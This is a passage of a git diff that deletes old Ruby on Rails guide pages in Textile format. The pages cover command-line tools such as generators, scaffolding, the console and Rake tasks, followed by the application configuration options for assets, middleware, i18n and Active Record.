- Credit card admin controller with URLs like /admin/credit_card/suspend.
- Controller: app/controllers/admin/credit_card_controller.rb
- Views: app/views/admin/credit_card/debit.html.erb [...]
- Helper: app/helpers/admin/credit_card_helper.rb
- Test: test/functional/admin/credit_card_controller_test.rb
-</shell>
-
-The controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
-
-<shell>
-$ rails generate controller Greetings hello
- create app/controllers/greetings_controller.rb
- route get "greetings/hello"
- invoke erb
- create app/views/greetings
- create app/views/greetings/hello.html.erb
- invoke test_unit
- create test/functional/greetings_controller_test.rb
- invoke helper
- create app/helpers/greetings_helper.rb
- invoke test_unit
- create test/unit/helpers/greetings_helper_test.rb
- invoke assets
- create app/assets/javascripts/greetings.js
- invoke css
- create app/assets/stylesheets/greetings.css
-
-</shell>
-
-What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a javascript file and a stylesheet file.
-
-Check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
-
-<ruby>
-class GreetingsController < ApplicationController
- def hello
- @message = "Hello, how are you today?"
- end
-end
-</ruby>
-
-Then the view, to display our message (in +app/views/greetings/hello.html.erb+):
-
-<html>
-<h1>A Greeting for You!</h1>
-<p><%= @message %></p>
-</html>
-
-Fire up your server using +rails server+.
-
-<shell>
-$ rails server
-=> Booting WEBrick...
-</shell>
-
-WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0.
-
-The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello.
-
-INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
-
-Rails comes with a generator for data models too.
-
-<shell>
-$ rails generate model
-Usage: rails generate model NAME [field:type field:type] [options]
-
-...
-
-Examples:
- rails generate model account
-
- Model: app/models/account.rb
- Test: test/unit/account_test.rb
- Fixtures: test/fixtures/accounts.yml
- Migration: db/migrate/XXX_add_accounts.rb
-
- rails generate model post title:string body:text published:boolean
-
- Creates a Post model with a string title, text body, and published flag.
-</shell>
-
-NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the +TableDefinition+ class.
-
-But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
-
-We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
-
-<shell>
-$ rails generate scaffold HighScore game:string score:integer
- exists app/models/
- exists app/controllers/
- exists app/helpers/
- create app/views/high_scores
- create app/views/layouts/
- exists test/functional/
- create test/unit/
- create app/assets/stylesheets/
- create app/views/high_scores/index.html.erb
- create app/views/high_scores/show.html.erb
- create app/views/high_scores/new.html.erb
- create app/views/high_scores/edit.html.erb
- create app/views/layouts/high_scores.html.erb
- create app/assets/stylesheets/scaffold.css.scss
- create app/controllers/high_scores_controller.rb
- create test/functional/high_scores_controller_test.rb
- create app/helpers/high_scores_helper.rb
- route resources :high_scores
-dependency model
- exists app/models/
- exists test/unit/
- create test/fixtures/
- create app/models/high_score.rb
- create test/unit/high_score_test.rb
- create test/fixtures/high_scores.yml
- exists db/migrate
- create db/migrate/20100209025147_create_high_scores.rb
-</shell>
-
-The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
-
-The migration requires that we *migrate*, that is, run some Ruby code (living in that +20100209025147_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
-
-<shell>
-$ rake db:migrate
-(in /home/foobar/commandsapp)
-== CreateHighScores: migrating ===============================================
--- create_table(:high_scores)
- -> 0.0026s
-== CreateHighScores: migrated (0.0028s) ======================================
-</shell>
-
-INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
-
-Let's see the interface Rails created for us.
-
-<shell>
-$ rails server
-</shell>
-
-Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
-
-h4. +rails console+
-
-The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
-
-You can also use the alias "c" to invoke the console: <tt>rails c</tt>.
-
-If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+.
-
-<shell>
-$ rails console --sandbox
-Loading development environment in sandbox (Rails 3.1.0)
-Any modifications you make will be rolled back on exit
-irb(main):001:0>
-</shell>
-
-h4. +rails dbconsole+
-
-+rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
-
-You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>.
-
-h4. +rails plugin+
-
-The +rails plugin+ command simplifies plugin management. Plugins can be installed by name or their repository URLs. You need to have Git installed if you want to install a plugin from a Git repo. The same holds for Subversion too.
-
-<shell>
-$ rails plugin install https://github.com/technoweenie/acts_as_paranoid.git
-+ ./CHANGELOG
-+ ./MIT-LICENSE
-...
-...
-</shell>
-
-h4. +rails runner+
-
-<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
-
-<shell>
-$ rails runner "Model.long_running_method"
-</shell>
-
-You can also use the alias "r" to invoke the runner: <tt>rails r</tt>.
-
-You can specify the environment in which the +runner+ command should operate using the +-e+ switch.
-
-<shell>
-$ rails runner -e staging "Model.long_running_method"
-</shell>
-
-h4. +rails destroy+
-
-Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it.
-
-You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>.
-
-<shell>
-$ rails generate model Oops
- exists app/models/
- exists test/unit/
- exists test/fixtures/
- create app/models/oops.rb
- create test/unit/oops_test.rb
- create test/fixtures/oops.yml
- exists db/migrate
- create db/migrate/20081221040817_create_oops.rb
-$ rails destroy model Oops
- notempty db/migrate
- notempty db
- rm db/migrate/20081221040817_create_oops.rb
- rm test/fixtures/oops.yml
- rm test/unit/oops_test.rb
- rm app/models/oops.rb
- notempty test/fixtures
- notempty test
- notempty test/unit
- notempty test
- notempty app/models
- notempty app
-</shell>
-
-h3. Rake
-
-Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
-
-You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
-
-<shell>
-$ rake --tasks
-(in /home/foobar/commandsapp)
-rake db:abort_if_pending_migrations # Raises an error if there are pending migrations
-rake db:charset # Retrieves the charset for the current environment's database
-rake db:collation # Retrieves the collation for the current environment's database
-rake db:create # Create the database defined in config/database.yml for the current Rails.env
-...
-...
-rake tmp:pids:clear # Clears all files in tmp/pids
-rake tmp:sessions:clear # Clears all files in tmp/sessions
-rake tmp:sockets:clear # Clears all files in tmp/sockets
-</shell>
-
-h4. +about+
-
-<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-
-<shell>
-$ rake about
-About your application's environment
-Ruby version 1.8.7 (x86_64-linux)
-RubyGems version 1.3.6
-Rack version 1.1
-Rails version 3.1.0
-JavaScript Runtime Node.js (V8)
-Active Record version 3.1.0
-Action Pack version 3.1.0
-Active Resource version 3.1.0
-Action Mailer version 3.1.0
-Active Support version 3.1.0
-Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head
-Application root /home/foobar/commandsapp
-Environment development
-Database adapter sqlite3
-Database schema version 20110805173523
-</shell>
-
-h4. +assets+
-
-You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>.
-
-h4. +db+
-
-The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
-
-More information about migrations can be found in the "Migrations":migrations.html guide.
-
-h4. +doc+
-
-The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
-
-* +rake doc:app+ generates documentation for your application in +doc/app+.
-* +rake doc:guides+ generates Rails guides in +doc/guides+.
-* +rake doc:rails+ generates API documentation for Rails in +doc/api+.
-* +rake doc:plugins+ generates API documentation for all the plugins installed in the application in +doc/plugins+.
-* +rake doc:clobber_plugins+ removes the generated documentation for all plugins.
-
-h4. +notes+
-
-+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is only done in files with extension +.builder+, +.rb+, +.rxml+, +.rhtml+ and +.erb+ for both default and custom annotations.
-
-<shell>
-$ rake notes
-(in /home/foobar/commandsapp)
-app/controllers/admin/users_controller.rb:
- * [ 20] [TODO] any other way to do this?
- * [132] [FIXME] high priority for next deploy
-
-app/model/school.rb:
- * [ 13] [OPTIMIZE] refactor this code to make it faster
- * [ 17] [FIXME]
-</shell>
-
-If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name.
-
-<shell>
-$ rake notes:fixme
-(in /home/foobar/commandsapp)
-app/controllers/admin/users_controller.rb:
- * [132] high priority for next deploy
-
-app/model/school.rb:
- * [ 17]
-</shell>
-
-You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+.
-
-<shell>
-$ rake notes:custom ANNOTATION=BUG
-(in /home/foobar/commandsapp)
-app/model/post.rb:
- * [ 23] Have to fix this one before pushing!
-</shell>
-
-NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
-
-h4. +routes+
-
-+rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
-
-h4. +test+
-
-INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
-
-Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write.
-
-h4. +tmp+
-
-The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
-
-The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory:
-
-* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>.
-* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>.
-* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>.
-* +rake tmp:clear+ clears all the three: cache, sessions and sockets.
-
-h4. Miscellaneous
-
-* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
-* +rake secret+ will give you a pseudo-random key to use for your session secret.
-* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about.
-
-h3. The Rails Advanced Command Line
-
-More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
-
-h4. Rails with Databases and SCM
-
-When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
-
-Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
-
-<shell>
-$ mkdir gitapp
-$ cd gitapp
-$ git init
-Initialized empty Git repository in .git/
-$ rails new . --git --database=postgresql
- exists
- create app/controllers
- create app/helpers
-...
-...
- create tmp/cache
- create tmp/pids
- create Rakefile
-add 'Rakefile'
- create README
-add 'README'
- create app/controllers/application_controller.rb
-add 'app/controllers/application_controller.rb'
- create app/helpers/application_helper.rb
-...
- create log/test.log
-add 'log/test.log'
-</shell>
-
-We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
-
-<shell>
-$ cat config/database.yml
-# PostgreSQL. Versions 8.2 and up are supported.
-#
-# Install the ruby-postgres driver:
-# gem install ruby-postgres
-# On Mac OS X:
-# gem install ruby-postgres -- --include=/usr/local/pgsql
-# On Windows:
-# gem install ruby-postgres
-# Choose the win32 build.
-# Install PostgreSQL and put its /bin directory on your path.
-development:
- adapter: postgresql
- encoding: unicode
- database: gitapp_development
- pool: 5
- username: gitapp
- password:
-...
-...
-</shell>
-
-It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
-
-NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app.
-
-h4(#different-servers). +server+ with Different Backends
-
-Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
-
-NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
-
-To use a different server, just install its gem, then use its name for the first parameter to +rails server+:
-
-<shell>
-$ sudo gem install mongrel
-Building native extensions. This could take a while...
-Building native extensions. This could take a while...
-Successfully installed gem_plugin-0.2.3
-Successfully installed fastthread-1.0.1
-Successfully installed cgi_multipart_eof_fix-2.5.0
-Successfully installed mongrel-1.1.5
-...
-...
-Installing RDoc documentation for mongrel-1.1.5...
-$ rails server mongrel
-=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
-=> Rails 3.1.0 application starting on http://0.0.0.0:3000
-...
-</shell>
diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile
deleted file mode 100644
index baf944cf8d..0000000000
--- a/railties/guides/source/configuring.textile
+++ /dev/null
@@ -1,625 +0,0 @@
-h2. Configuring Rails Applications
-
-This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
-
-* Adjust the behavior of your Rails applications
-* Add additional code to be run at application start time
-
-endprologue.
-
-h3. Locations for Initialization Code
-
-Rails offers four standard spots to place initialization code:
-
-* +config/application.rb+
-* Environment-specific configuration files
-* Initializers
-* After-initializers
-
-h3. Running Code Before Rails
-
-In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+.
-
-h3. Configuring Rails Components
-
-In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file +config/application.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components.
-
-For example, the default +config/application.rb+ file includes this setting:
-
-<ruby>
-config.filter_parameters += [:password]
-</ruby>
-
-This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object in +config/application.rb+:
-
-<ruby>
-config.active_record.observers = [:hotel_observer, :review_observer]
-</ruby>
-
-Rails will use that particular setting to configure Active Record.
-
-h4. Rails General Configuration
-
-* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers:
-
-<ruby>
-config.after_initialize do
- ActionView::Base.sanitized_allowed_tags.delete 'div'
-end
-</ruby>
-
-* +config.allow_concurrency+ should be true to allow concurrent (threadsafe) action processing. False by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Can also be enabled with +threadsafe!+.
-
-* +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+.
-
-* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+.
-
-<ruby>
-config.asset_path = proc { |path| "/blog/public#{path}" }
-</ruby>
-
-NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default.
-
-* +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array.
-
-* +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+.
-
-* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+.
-
-* +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+.
-
-* +config.cache_store+ configures which cache store to use for Rails caching. Options include one of the symbols +:memory_store+, +:file_store+, +:mem_cache_store+, or an object that implements the cache API. Defaults to +:file_store+ if the directory +tmp/cache+ exists, and to +:memory_store+ otherwise.
-
-* +config.colorize_logging+ specifies whether or not to use ANSI color codes when logging information. Defaults to true.
-
-* +config.consider_all_requests_local+ is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the +Rails::Info+ controller will show the application runtime context in +/rails/info/properties+. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement +local_request?+ in controllers to specify which requests should provide debugging information on errors.
-
-* +config.dependency_loading+ is a flag that allows you to disable constant autoloading setting it to false. It only has effect if +config.cache_classes+ is true, which it is by default in production mode. This flag is set to false by +config.threadsafe!+.
-
-* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the +app+ directory of the application.
-
-* +config.encoding+ sets up the application-wide encoding. Defaults to UTF-8.
-
-* +config.filter_parameters+ used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
-
-* +config.force_ssl+ forces all requests to be under HTTPS protocol by using +Rack::SSL+ middleware.
-
-* +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+.
-
-* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode.
-
-* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below.
-
-* +config.plugins+ accepts the list of plugins to load. The default is +nil+ in which case all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option lets you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them.
-
-* +config.preload_frameworks+ enables or disables preloading all frameworks at startup. Enabled by +config.threadsafe!+. Defaults to +nil+, so is disabled.
-
-* +config.reload_plugins+ enables or disables plugin reloading. Defaults to false.
-
-* +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+.
-
-* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
-
-* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
-
-<ruby>
-config.session_store :my_custom_store
-</ruby>
-
-This custom store must be defined as +ActionDispatch::Session::MyCustomStore+. In addition to symbols, they can also be objects implementing a certain API, like +ActiveRecord::SessionStore+, in which case no special namespace is required.
-
-* +config.threadsafe!+ enables +allow_concurrency+, +cache_classes+, +dependency_loading+ and +preload_frameworks+ to make the application threadsafe.
-
-WARNING: Threadsafe operation is incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
-
-* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record.
-
-* +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments.
-
-h4. Configuring Assets
-
-Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.
-
-* +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+.
-
-* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+.
-
-* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem.
-
-* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
-
-* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
-
-* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run.
-
-* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+.
-
-* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+.
-
-* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+.
-
-* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+.
-
-* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store.
-
-* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
-
-* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production.
-
-
-h4. Configuring Generators
-
-Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.test_framework :test_unit
-end
-</ruby>
-
-The full set of methods that can be used in this block are as follows:
-
-* +assets+ allows to create assets on generating a scaffold. Defaults to +true+.
-* +force_plural+ allows pluralized model names. Defaults to +false+.
-* +helper+ defines whether or not to generate helpers. Defaults to +true+.
-* +integration_tool+ defines which integration tool to use. Defaults to +nil+.
-* +javascripts+ turns on the hook for javascripts in generators. Used in Rails for when the +scaffold+ generator is ran. Defaults to +true+.
-* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+.
-* +orm+ defines which orm to use. Defaults to +false+ and will use Active Record by default.
-* +performance_tool+ defines which performance tool to use. Defaults to +nil+.
-* +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+.
-* +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+.
-* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is ran, but this hook can be used in other generates as well. Defaults to +true+.
-* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+.
-* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default.
-* +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+.
-
-h4. Configuring Middleware
-
-Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
-
-* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+.
-* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+.
-* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default.
-* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
-* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request.
-* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs.
-* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless.
-* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings.
-* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+.
-* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request.
-* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+.
-* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
-* +ActionDispatch::Cookies+ sets cookies for the request.
-* +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+.
-* +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value.
-* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+.
-* +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PUT and DELETE HTTP method types.
-* +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so.
-* +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly.
-
-Besides these usual middleware, you can add your own by using the +config.middleware.use+ method:
-
-<ruby>
-config.middleware.use Magical::Unicorns
-</ruby>
-
-This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another.
-
-<ruby>
-config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
-</ruby>
-
-There's also +insert_after+ which will insert a middleware after another:
-
-<ruby>
-config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
-</ruby>
-
-Middlewares can also be completely swapped out and replaced with others:
-
-<ruby>
-config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
-</ruby>
-
-They can also be removed from the stack completely:
-
-<ruby>
-config.middleware.delete ActionDispatch::BestStandardsSupport
-</ruby>
-
-h4. Configuring i18n
-
-* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
-
-* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+.
-
-h4. Configuring Active Record
-
-<tt>config.active_record</tt> includes a variety of configuration options:
-
-* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging.
-
-* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
-** +:table_name+ would make the primary key for the Customer class +customerid+
-** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
-
-* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
-
-* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
-
-* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table.
-
-* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails.
-
-* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
-
-* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
-
-* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default.
-
-* +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
-
-The MySQL adapter adds one additional configuration option:
-
-* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default.
-
-The schema dumper adds one additional configuration option:
-
